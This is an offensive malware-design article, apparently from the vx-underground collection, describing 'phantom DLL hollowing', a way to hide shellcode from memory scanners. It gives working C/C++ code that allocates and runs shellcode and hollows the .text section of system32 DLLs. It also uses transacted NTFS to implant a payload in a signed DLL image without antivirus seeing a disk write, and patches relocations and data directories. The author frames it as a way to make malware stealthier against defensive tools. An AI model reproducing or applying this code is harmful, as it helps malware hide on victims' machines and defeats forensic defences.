
Masking Malicious Memory Artifacts – 
Part I: Phantom DLL Hollowing 

vx-underground.org collection // ​Forrest Orr 

 

Introduction 

I've written this article with the intention of improving the skill of the reader as relating to the 
topic of memory stealth when designing malware. First by detailing a technique I term DLL 
hollowing which has not yet gained widespread recognition among attackers, and second by 
introducing the reader to one of my own variations of this technique which I call phantom DLL 
hollowing (the PoC for which can be found on​ ​Github​). 

This will be the first post in a series on malware forensics and bypassing defensive scanners. It 
was written with the assumption that the reader understands the basics of Windows internals 
and malware design.  
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Legitimate memory allocation 

In order to understand how defenders are able to pick up on malicious memory artifacts with 
minimal false positives using point-in-time memory scanners such as​ ​Get-InjectedThread​ and 
malfind​ it is essential for one to understand what constitutes “normal” memory allocation and 
how malicious allocation deviates from this norm. For our purposes, typical process memory can 
be broken up into 3 different categories: 

● Private memory – not to be confused with memory that is un-shareable with other 
processes. All memory allocated via​ ​NTDLL.DLL!NtAllocateVirtualMemory​ falls into this 
category (this includes heap and stack memory). 

● Mapped memory – mapped views of sections which may or may not be created from 
files on disk. This does not include PE files mapped from sections created with the 
SEC_IMAGE​ flag. 

● Image memory – mapped views of sections created with the ​SEC_IMAGE​ flag from PE 
files on disk. This is distinct from mapped memory. Although image memory is 
technically a mapped view of a file on disk just as mapped memory may be, they are 
distinctively different categories of memory. 

These categories directly correspond to the ​Type​ field in the​ ​MEMORY_BASIC_INFORMATION 
structure. This structure is strictly a usermode concept, and is not stored independently but 
rather is populated using the kernel mode VAD, PTE and section objects associated with the 
specified process. On a deeper level the key difference between private and shared 
(mapped/image) memory is that shared memory is derived from section objects, a construct 
specifically designed to allow memory to be shared between processes. With this being said, 
the term “private memory” can be a confusing terminology in that it implies all sections are 
shared between processes, which is not the case. Sections and their related mapped memory 
may also be private although they will not technically be “private memory,” as this term is 
typically used to refer to all memory which is ​never​ shared (not derived from a section). The 
distinction between mapped and image memory stems from the ​control area​ of their 
foundational section object. 

In order to give the clearest possible picture of what constitutes legitimate memory allocation I 
wrote a memory scanner (the PoC for which can be found on​ ​Github​) which uses the 
characteristics of the​ ​MEMORY_BASIC_INFORMATION​ structure returned by 
KERNEL32.DLL!VirtualQuery​ to statistically calculate the most common permission attributes of 
each of the three aforementioned memory types across all accessible processes. In the 
screenshot below I've executed this scanner on an unadulterated Windows 8 VM. 
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Understanding these statistics is not difficult. The majority of private memory is ​+RW​, consistent 
with its usage in stack and heap allocation. Mapped memory is largely readonly, an aspect 
which is also intuitive considering that the primary usage of such memory is to map existing ​.db​, 
.mui​ and ​.dat​ files from disk into memory for the application to read. Most notably from the 
perspective of a malware writer is that executable memory is almost exclusively the domain of 
image mappings. In particular ​+RX​ regions (as opposed to ​+RWX​) which correspond to the .text 
sections of DLL modules loaded into active processes. 
 

 
 
In ​Figure 2​, taken from the memory map of an explorer.exe process, image memory is shown 
split into multiple separate regions. Those corresponding to the PE header and subsequent 
sections, along with a predictable set of permissions (​+RX​ for ​.text​, ​+RW​ for ​.data​, ​+R​ for ​.rsrc 
and so forth). The ​Info​ field is actually an abstraction of​ ​x64dbg​ and not a characteristic of the 
memory itself:​ ​x64dbg​ has walked the PEB loaded module list searching for an entry with a 
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base address that matches the region base, and then set the ​Info​ for its PE headers to the 
module name, and each subsequent region within the map has had its ​Info​ set to its 
corresponding ​IMAGE_SECTION_HEADER.Name​, as determined by calculating which regions 
correspond to each mapped image base + ​IMAGE_SECTION_HEADER.VirtualAddress​.  

Classic malware memory allocation 

Malware writers have a limited set of tools in their arsenal to allocate executable memory for 
their code. This operation is however essential to process injection, process hollowing and 
packers/crypters. In brief, the classic technique for any form of malicious code allocation 
involved using​ ​NTDLL.DLL!NtAllocateVirtualMemory​ to allocate a block of ​+RWX​ permission 
memory and then writing either a shellcode or full PE into it, depending on the genre of attack. 

uint8_t​* pShellcodeMemory = (​uint8_t​*)VirtualAlloc( 
nullptr​, 
dwShellcodeSize, 

MEM_COMMIT|MEM_RESERVE, 

PAGE_EXECUTE_READWRITE); 

 

memcpy​(pShellcodeMemory, Shellcode, dwShellcodeSize); 
 

CreateThread( 

nullptr​, 
0​, 
(LPTHREAD_START_ROUTINE)pShellcodeMemory, 

nullptr​, 
0​, 
nullptr​); 

 
Later this technique evolved as both attackers and defenders increased in sophistication, 
leading malware writers to use a combination of​ ​NTDLL.DLL!NtAllocateVirtualMemory​ with ​+RW 
permissions and​ ​NTDLL.DLL!NtProtectVirtualMemory​ after the malicious code had been written 
to the region to set it to +RX before execution. In the case of process hollowing using a full PE 
rather than a shellcode, attackers begun correctly modifying the permissions of ​+RW​ memory 
they allocated for the PE to reflect the permission characteristics of the PE on a per-section 
basis. The benefit of this was twofold: no​ +RWX​ memory was allocated (which is suspicious in 
of itself) and the VAD entry for the malicious region would still read as ​+RW​ even after the 
permissions had been modified, further thwarting memory forensics. 
 
 

uint8_t​* pShellcodeMemory = (​uint8_t​*)VirtualAlloc( 
nullptr​, 
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dwShellcodeSize, 

MEM_COMMIT|MEM_RESERVE, 

PAGE_READWRITE); 

 

memcpy​(pShellcodeMemory, Shellcode, dwShellcodeSize); 
 

VirtualProtect( 

pShellcodeMemory, 

dwShellcodeSize, 

PAGE_EXECUTE_READ, 

(PDWORD)&dwOldProtect); 

 

CreateThread( 

nullptr​, 
0​, 
(LPTHREAD_START_ROUTINE)pShellcodeMemory, 

nullptr​, 
0​, 
nullptr​); 

 
More recently, attackers have transitioned to an approach of utilizing sections for their malicious 
code execution. This is achieved by first creating a section from the page file which will hold the 
malicious code. Next the section is mapped to the local process (and optionally a remote one as 
well) and directly modified. Changes to the local view of the section will also cause remote views 
to be modified as well, thus bypassing the need for APIs such as 
KERNEL32.DLL!WriteProcessMemory​ to write malicious code into remote process address 
space.  
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LARGE_INTEGER SectionMaxSize = { ​0​,​0​ }; 
NTSTATUS NtStatus 

 

SectionMaxSize.LowPart = dwShellcodeSize; 

 

NtStatus = NtCreateSection( 

&hSection, 

SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE, 

NULL​, &SectionMaxSize, 
PAGE_EXECUTE_READWRITE, 

SEC_COMMIT, 

NULL​); 
 

if​ (NT_SUCCESS(NtStatus)) { 
 

NtStatus = NtMapViewOfSection( 

 hSection, 

 GetCurrentProcess(), 

 (​void​ **)&pShellcodeMemory, 
 NULL​, ​NULL​, ​NULL​, 
 &cbViewSize, 

 2​, 
 NULL​, 
 PAGE_EXECUTE_READWRITE); 

 

if​ (NT_SUCCESS(NtStatus)) { 
 

 memcpy​(pShellcodeMemory, Shellcode, dwShellcodeSize); 
 

 CreateThread( 

 nullptr​, 
 0​, 
 (LPTHREAD_START_ROUTINE)pShellcodeMemory, 

 nullptr​, 
 0​, 
 nullptr​); 

} 

} 

 

 



 

While this has the benefit of being (at present) slightly less common than direct virtual memory 
allocation with​ ​NTDLL.DLL!NtAllocateVirtualMemory​, it creates similar malicious memory 
artifacts for defenders to look out for. One key difference between the two methods is that 
NTDLL.DLL!NtAllocateVirtualMemory​ will allocate private memory, whereas mapped section 
views will allocate mapped memory (shared section memory with a data ​control area​). 

While a malware writer may avoid the use of suspicious (and potentially monitored) APIs such 
as​ ​NTDLL.DLL!NtAllocateVirtualMemory​ and​ ​NTDLL.DLL!NtProtectVirtualMemory​ the end 
result in memory is ultimately quite similar with the key difference being the distinction between 
a ​MEM_MAPPED​ and ​MEM_PRIVATE​ memory type assigned to the shellcode memory. 

DLL hollowing 

With these concepts in mind, it's clear that masking malware in memory means utilizing ​+RX 
image memory, in particular the ​.text​ section of a mapped image view. The primary caveat to 
this is that such memory cannot be directly allocated, nor can existing memory be modified to 
mimic these attributes. Only the PTE which stores the active page permissions is mutable, while 
the VAD and section object control area which mark the region as image memory and associate 
it to its underlying DLL on disk are immutable. For this reason, properly implementing a DLL 
hollowing attack implies infection of a mapped view generated from a real DLL file on disk. Such 
DLL files should have a ​.text​ section with a ​IMAGE_SECTION_HEADER.Misc.VirtualSize 
greater than or equal to the size of the shellcode being implanted, and should not yet be loaded 
into the target process as this implies their modification could result in a crash. 

GetSystemDirectoryW(SearchFilePath, MAX_PATH); 

wcscat_s(SearchFilePath, MAX_PATH, ​L"\\*.dll"​); 
 

if​ ((hFind = FindFirstFileW(SearchFilePath, &Wfd)) != INVALID_HANDLE_VALUE) 
{ 

do​ { 
      ​if​ (GetModuleHandleW(Wfd.cFileName) == ​nullptr​) { 
 ... 

      } 

   }  

 

   ​while​ (!bMapped && FindNextFileW(hFind, &Wfd)); 
   FindClose(hFind); 

} 

 
In this code snippet I’ve enumerated files with a ​.dll​ extension in system32 and am ensuring 
they are not already loaded into my process using​ ​KERNEL32.DLL!GetModuleFileNameW​, 
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which walks the PEB loaded modules list and returns their base address (the same thing as 
their module handle) if a name match is found. In order to create a section from the image I first 
need to open a handle to it. I’ll discuss​ ​TxF​ in the next section, but for the sake of this code 
walkthrough we can assume​ ​KERNEL.DLL!CreateFileW​ is used. Upon opening this handle I 
can read the contents of the PE and validate its headers, particularly its 
IMAGE_SECTION_HEADER.Misc.VirtualSize​ field which indicates a sufficient size for my 
shellcode. 
 
uint32_t​ dwFileSize = GetFileSize(hFile, ​nullptr​); 
uint32_t​ dwBytesRead = ​0​; 
pFileBuf = ​new​ ​uint8_t​[dwFileSize]; 
 

if​ (ReadFile(hFile, pFileBuf, dwFileSize, (PDWORD)& dwBytesRead, ​nullptr​)) { 
SetFilePointer(hFile, ​0​, ​nullptr​, FILE_BEGIN); 
IMAGE_DOS_HEADER* pDosHdr = (IMAGE_DOS_HEADER*)pFileBuf; 

IMAGE_NT_HEADERS* pNtHdrs = (IMAGE_NT_HEADERS*)(pFileBuf + pDosHdr->e_lfanew); 

IMAGE_SECTION_HEADER* pSectHdrs = (IMAGE_SECTION_HEADER*)((​uint8_t​*)& pNtHdrs->OptionalHeader + 
sizeof​(IMAGE_OPTIONAL_HEADER)); 
 

if​ (pNtHdrs->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR_MAGIC) { 
    ​if​ (dwReqBufSize < pNtHdrs->OptionalHeader.SizeOfImage && (_stricmp((​char​*)pSectHdrs->Name, 
".text"​) == ​0​ && dwReqBufSize < pSectHdrs->Misc.VirtualSize)) 
 ... 

    } 

} 

... 

} 

 
When a valid PE is found a section can be created from its file handle, and a view of it mapped 
to the local process memory space. 

 

HANDLE hSection = ​nullptr​; 
NtStatus = NtCreateSection(&hSection, SECTION_ALL_ACCESS, ​nullptr​, ​nullptr​, 
PAGE_READONLY, SEC_IMAGE, hFile); 

if​ (NT_SUCCESS(NtStatus)) { 
    *pqwMapBufSize = ​0​; 
    NtStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), 

(​void​**)ppMapBuf, ​0​, ​0​, ​nullptr​, (PSIZE_T)pqwMapBufSize, ​1​, ​0​, 
PAGE_READONLY); 

    ... 

} 

 
The unique characteristic essential to this technique is the use of the ​SEC_IMAGE​ flag to 
NTDLL.DLL!NtCreateSection​. When this flag is used, the initial permissions parameter is 
ignored (all mapped images end up with an initial allocation permission of ​+RWXC​). Also worth 

 

https://docs.microsoft.com/en-us/windows/win32/fileio/transactional-ntfs-portal
https://docs.microsoft.com/en-us/windows/win32/fileio/transactional-ntfs-portal
https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew
https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew
http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html
http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html


noting is that the PE itself is validated by​ ​NTDLL.DLL!NtCreateSection​ at this stage, and if it is 
invalid in any way​ ​NTDLL.DLL!NtCreateSection​ will fail (typically with error ​0xc0000005​). 

Finally, the region of memory corresponding to the .text section in the mapped view can be 
modified and implanted with the shellcode. 

*ppMappedCode = *ppMapBuf + pSectHdrs->VirtualAddress + dwCodeRva; 
 
if​ (!bTxF) { 

uint32_t​ dwOldProtect = ​0​; 
if​ (VirtualProtect(*ppMappedCode, dwReqBufSize, PAGE_READWRITE, (PDWORD)& dwOldProtect)) { 

           ​memcpy​(*ppMappedCode, pCodeBuf, dwReqBufSize); 
           ​if​ (VirtualProtect(*ppMappedCode, dwReqBufSize, dwOldProtect, (PDWORD)& dwOldProtect)) { 
    bMapped = ​true​; 
           } 

        } 

} 

else​ { 
bMapped = ​true​; 

} 

 
Once the image section has been generated and a view of it has been mapped into the process 
memory space, it will share many characteristics in common with a module legitimately loaded 
via​ ​NTDLL.DLL!LdrLoadDll​ but with several key differences: 

● Relocations will be applied, but imports will not yet be resolved. 
● The module will not have been added to the loaded modules list in usermode process 

memory. 

The loaded modules list is referenced in the ​LoaderData​ field of the PEB: 

typedef​ ​struct​ _​PEB​ { 
    BOOLEAN InheritedAddressSpace; ​// 0x0 
    BOOLEAN ReadImageFileExecOptions; ​// 0x1 
    BOOLEAN BeingDebugged; ​// 0x2 
    BOOLEAN Spare; ​// 0x3 
 

#ifdef _WIN64 

 

    ​uint8_t Padding1[​4​]; 
 

#endif 

 

    HANDLE Mutant; ​// 0x4 / 0x8 
    ​void​ * ImageBase; ​// 0x8 / 0x10 
    PPEB_LDR_DATA LoaderData; ​// 0xC / 0x18 
... 

 

} 
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There are three such lists, all representing the same modules in a different ordering. 
 

typedef​ ​struct​ _​LDR_MODULE​ { 
LIST_ENTRY InLoadOrderModuleList; 

LIST_ENTRY InMemoryOrderModuleList; 

LIST_ENTRY InInitializationOrderModuleList; 

void​* BaseAddress; 
void​* EntryPoint; 
ULONG SizeOfImage; 

UNICODE_STRING FullDllName; 

UNICODE_STRING BaseDllName; 

ULONG Flags; 

SHORT LoadCount; 

SHORT TlsIndex; 

LIST_ENTRY HashTableEntry; 

ULONG TimeDateStamp; 

} LDR_MODULE, *PLDR_MODULE; 

 

typedef​ ​struct​ _​PEB_LDR_DATA​ { 
ULONG Length; 

ULONG Initialized; 

void​* SsHandle; 
LIST_ENTRY InLoadOrderModuleList; 

LIST_ENTRY InMemoryOrderModuleList; 

LIST_ENTRY InInitializationOrderModuleList; 

} PEB_LDR_DATA, *PPEB_LDR_DATA; 

 
It’s important to note that to avoid leaving suspicious memory artifacts behind, an attacker 
should add their module to all three of the lists. In ​Figure 3 ​(shown below) I’ve executed my 
hollower PoC without modifying the loaded modules list in the PEB to reflect the addition of the 
selected hollowing module (​aadauthhelper.dll). 
 

 



 
 
Using​ ​x64dbg​ to view the memory allocated for the ​aadauthhelper.dll​ base at 
0x00007ffd326a0000​ we can see that despite its IMG tag, it looks distinctly different from the 
other IMG module memory surrounding it. 
 

 
 
This is because the association between a region of image memory and its module is inferred 
rather than explicitly recorded. In this case,​ ​x64dbg​ is scanning the aforementioned PEB loaded 
modules list for an entry with a​ BaseAddress​ of​ 0x00007ffd326a0000​ and upon not finding one, 
does not associate a name with the region or associate its subsections with the sections from its 
PE header. Upon adding ​aadauthhelper.dll ​to the loaded modules lists,​ ​x64dbg​ shows the 
region as if it corresponded to a legitimately loaded module. 
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Comparing this artificial module (implanted with shellcode) with a legitimately loaded 
aadauthhelper.dll​ we can see there is no difference from the perspective of a memory scanner. 
Only once we view the ​.text ​sections in memory and compare them between the legitimate and 
hollowed versions of ​aadauthhelper.dll​ can we see the difference. 

 

Phantom hollowing 

DLL hollowing does in of itself represent a major leap forward in malware design. Notably 
though, the ​+RX​ characteristic of the ​.text​ section conventionally forces the attacker into a 
position of manually modifying this region to be ​+RW​ using an API such as 
NTDLL.DLL!NtProtectVirtualMemory​ after it has been mapped, writing their shellcode to it and 
then switching it back to ​+RX​ prior to execution. This sets off two different alarms for a 
sophisticated defender to pick up on: 

1. Modification of the permissions of a PTE associated with image memory after it has 
already been mapped using an API such as​ ​NTDLL.DLL!NtProtectVirtualMemory​. 

2. A new private view of the modified image section being created within the afflicted 
process memory space. 

While the first alarm is self-explanatory the second merits further consideration. It may be noted 
in ​Figure 2​ that the initial allocation permissions of all image related memory is ​+RWXC​, or 
PAGE_EXECUTE_WRITECOPY​. By default, mapped views of image sections created from 
DLLs are shared as a memory optimization by Windows. For example, only one copy of 
kernel32.dll will reside in physical memory but will be shared throughout the virtual address 
space of every process via a shared section object. Once the mapped view of a shared section 
is modified, a unique (modified) copy of it will be privately stored within the address space of the 
process which modified it. This characteristic provides a valuable artifact for defenders who aim 
to identify modified regions of image memory without relying on runtime interception of 
modifications to the PTE. 
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In ​Figure 6​ above, it can be clearly seen that the substantial majority of ​aadauthhelper.dll​ in 
memory is shared, as is typical of mapped image memory. Notably though, two regions of the 
image address space (corresponding to the ​.data​ and ​.didat​ sections) have two private pages 
associated with them. This is because these sections are writable, and whenever a previously 
unmodified page within their regions is modified it will be made private on a per-page basis.  
 

 
 
After allowing my hollower to change the protections of the ​.text​ section and infect a region with 
my shellcode, 4K (the default size of a single page) within the ​.text​ sections is suddenly marked 
as private rather than shared. Notably, however many bytes of a shared region are modified 
(even if it is only one byte) the total size of the affected region will be rounded up to a multiple of 
the default page size. In this case, my shellcode was 784 bytes which was rounded up to 
0x1000, and a full page within ​.text​ was made private despite a considerably smaller number of 
shellcode bytes being written. 

Thankfully for us attackers, it is indeed possible to modify an image of a signed PE without 
changing its contents on disk, and prior to mapping a view of it into memory using transacted 
NTFS (TxF). 

 
 

Originally designed to provide easy rollback functionality to installers,​ ​TxF​ was implemented in 
such a way by Microsoft that it allows for complete isolation of transacted data from external 
applications (including AntiVirus). Therefore if a malware writer opens a TxF file handle to a 
legitimate Microsoft signed PE file on disk, he can conspicuously use an API such as 
NTDLL.DLL!NtWriteFile​ to overwrite the contents of this PE while never causing the malware to 
be scanned when touching disk (as he has not truly modified the PE on disk). He then has a 
phantom file handle referencing a file object containing malware which can be used the same as 
a regular file handle would, with the key difference that it is backed by an unmodified and 
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legitimate/signed file of his choice. As previously discussed,​ ​NTDLL.DLL!NtCreateSection 
consumes a file handle when called with ​SEC_IMAGE​, and the resulting section may be 
mapped into memory using​ ​NTDLL.DLL!NtMapViewOfSection​. To the great fortune of the 
malware writer, these may be transacted file handles, effectively providing him a means of 
creating phantom image sections. 

The essence of phantom DLL hollowing is that an attacker can open a TxF handle to a Microsoft 
signed DLL file on disk, infect its ​.text​ section with his shellcode, and then generate a phantom 
section from this malware-implanted image and map a view of it to the address space of a 
process of his choice. The file object underlying the mapping will still point back to the legitimate 
Microsoft signed DLL on disk (which has not changed) however the view in memory will contain 
his shellcode hidden in its ​.text​ section with +RX permissions.  
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NtStatus = NtCreateTransaction( & hTransaction, 

  TRANSACTION_ALL_ACCESS, 

  &ObjAttr, 

  ​nullptr​, 
  ​nullptr​, 
  ​0​, 
  ​0​, 
  ​0​, 
  ​nullptr​, 
  ​nullptr​); 
 

hFile = CreateFileTransactedW(FilePath, 

  GENERIC_WRITE | GENERIC_READ, ​// The permission to write to the DLL on disk is required even though we 
technically aren't doing this. 

  ​0​, 
  ​nullptr​, 
  OPEN_EXISTING, 

  FILE_ATTRIBUTE_NORMAL, 

  ​nullptr​, 
  hTransaction, 

  ​nullptr​, 
  ​nullptr​); 
 

... 

 

memcpy​(pFileBuf + pSectHdrs - > PointerToRawData + dwCodeRva, pCodeBuf, dwReqBufSize); 
 

if​ (WriteFile(hFile, pFileBuf, dwFileSize, (PDWORD) & dwBytesWritten, ​nullptr​)) { 
 

  HANDLE hSection = ​nullptr​; 
  NtStatus = NtCreateSection( & hSection, SECTION_ALL_ACCESS, ​nullptr​, ​nullptr​, PAGE_READONLY, 
SEC_IMAGE, hFile); 

  ​if​ (NT_SUCCESS(NtStatus)) { 
 

* pqwMapBufSize = ​0​; 
 

NtStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), (​void​ ** ) ppMapBuf, ​0​, ​0​, 
nullptr​, (PSIZE_T) pqwMapBufSize, ​1​, ​0​, PAGE_READONLY); 
  } 

} 

 
Notably in the snippet above, rather than using the ​.text 
IMAGE_SECTION_HEADER.VirtualAddress​ to identify the infection address of my shellcode I 
am using ​IMAGE_SECTION_HEADER.PointerToRawData​. This is due to the fact that although 
I am not writing any content to disk, the PE file is still technically physical in the sense that it has 
not yet been mapped in to memory. Most relevant in the side effects of this is the fact that the 
sections will begin at ​IMAGE_OPTIONAL_HEADER.FileAlignment​ offsets rather than 
IMAGE_OPTIONAL_HEADER.SectionAlignment​ offsets, the latter of which typically 
corresponds to the default page size. 

 



The only drawback of phantom DLL hollowing is that even though we are not writing to the 
image we are hollowing on disk (which will typically be protected In System32 and unwritable 
without admin and UAC elevation) in order to use APIs such as​ ​NTDLL.DLL!NtWriteFile​ to write 
malware to phantom files, one must first open a handle to its underlying file on disk with write 
permissions. In the case of an attacker who does not have sufficient privileges to create their 
desired TxF handle, a solution is to simply copy a DLL from System32 to the malware’s 
application directory and open a writable handle to this copy. The path of this file is less stealthy 
to a human analyst, however from a program’s point of view the file is still a legitimate Microsoft 
signed DLL and such DLLs often exist in many directories outside of System32, making an 
automated detection without false positives much more difficult. 

Another important consideration with phantom sections is that it is not safe to modify the ​.text 
section at an arbitrary offset. This is because a ​.text​ section within an image mapped to memory 
will look different from its equivalent file on disk, and because it may contain data directories 
whose modification will corrupt the PE. When relocations are applied to the PE, this will cause 
all of the absolute addresses within the file to be modified (re-based) to reflect the image base 
selected by the OS, due to ASLR. If shellcode is written to a region of code containing absolute 
address references, it will cause the shellcode to be corrupted when 
NTDLL.DLL!NtMapViewOfSection​ is called. 

bool​ ​CheckRelocRange​(​uint8_t​ * pRelocBuf, ​uint32_t​ dwRelocBufSize, ​uint32_t​ dwStartRVA, ​uint32_t 
dwEndRVA) { 

 

  IMAGE_BASE_RELOCATION * pCurrentRelocBlock; 

  ​uint32_t​ dwRelocBufOffset, dwX; 
  ​bool​ bWithinRange = ​false​; 
 

  ​for​ (pCurrentRelocBlock = (IMAGE_BASE_RELOCATION * ) pRelocBuf, dwX = ​0​, dwRelocBufOffset = ​0​; 
pCurrentRelocBlock - > SizeOfBlock; dwX++) { 

 

uint32_t​ dwNumBlocks = ((pCurrentRelocBlock - > SizeOfBlock - ​sizeof​(IMAGE_BASE_RELOCATION)) / 
sizeof​(​uint16_t​)); 

uint16_t​ * pwCurrentRelocEntry = (​uint16_t​ * )((​uint8_t​ * ) pCurrentRelocBlock + 
sizeof​(IMAGE_BASE_RELOCATION)); 
 

for​ (​uint32_t​ dwY = ​0​; dwY < dwNumBlocks; dwY++, pwCurrentRelocEntry++) { 
 

 # 

 ifdef _WIN64 

 

 # define RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_DIR64 

 

 # 

 else 

 

 # define RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_HIGHLOW 

 

 # endif 

 

 if​ ((( * pwCurrentRelocEntry >> ​12​) & RELOC_FLAG_ARCH_AGNOSTIC) == RELOC_FLAG_ARCH_AGNOSTIC) { 
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 uint32_t​ dwRelocEntryRefLocRva = (pCurrentRelocBlock - > VirtualAddress + ( * 
pwCurrentRelocEntry & ​0x0FFF​)); 
 if​ (dwRelocEntryRefLocRva >= dwStartRVA && dwRelocEntryRefLocRva < dwEndRVA) { 
 

 bWithinRange = ​true​; 
 } 

 } 

} 

 

dwRelocBufOffset += pCurrentRelocBlock - > SizeOfBlock; 

pCurrentRelocBlock = (IMAGE_BASE_RELOCATION * )((​uint8_t​ * ) pCurrentRelocBlock + 
pCurrentRelocBlock - > SizeOfBlock); 

  } 

 

  ​return​ bWithinRange; 
} 

 
In the code above, a gap of sufficient size is identified within our intended DLL image by walking 
the base relocation data directory. Additionally, as previously mentioned 
NTDLL.DLL!NtCreateSection​ will fail if an invalid PE is used as a handle for ​SEC_IMAGE 
initialization. In many Windows DLLs, data directories (such as TLS, configuration data, exports 
and others) are stored within the ​.text​ section itself. This means that by overwriting these data 
directories with a shellcode implant, we may invalidate existing data directories, thus corrupting 
the PE and causing​ ​NTDLL.DLL!NtCreateSection​ to fail. 
 

for​ (​uint32_t​ dwX = ​0​; dwX < pNtHdrs->OptionalHeader.NumberOfRvaAndSizes; 
dwX++) { 

if​ (pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress >= 
pSectHdrs->VirtualAddress && 

pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress < 

(pSectHdrs->VirtualAddress + pSectHdrs->Misc.VirtualSize)) { 

 pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress = ​0​; 
 pNtHdrs->OptionalHeader.DataDirectory[dwX].Size = ​0​; 

} 

} 

 
In the code above I am wiping data directories that point within the ​.text​ section. A more elegant 
solution is to look for gaps between the data directories in ​.text​, similar to how I found gaps 
within the relocations. However, this is less simple than it sounds, as many of these directories 
themselves contain references to additional data directories (load config is a good example, 
which contains many RVA which may also fall within ​.text​). For the purposes of this PoC I’ve 
simply wiped conflicting data directories. Since the module will never be run, doing so will not 
affect its execution nor will it affect ours since we are using a PIC shellcode. 
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Last thoughts 

Attackers have long been overdue for a major shift and leap forward in their malware design, 
particularly in the area of memory forensics. I believe that DLL hollowing is likely to become a 
ubiquitous characteristic of malware memory allocation over the next several years, and this will 
prompt malware writers to further refine their techniques and adopt my method of phantom DLL 
hollowing, or new (and still undiscovered) methods of thwarting analysis of PE images in 
memory vs. on disk. Until such a time that innovations in theory are called for, I believe it is 
more valuable to focus on practical solutions to existing defensive technology. For this reason, 
in my next post in this series I will discuss bypasses for defensive scanners such as 
Get-InjectedThread​,​ ​Malfind​ and​ ​Hollowfind​. 
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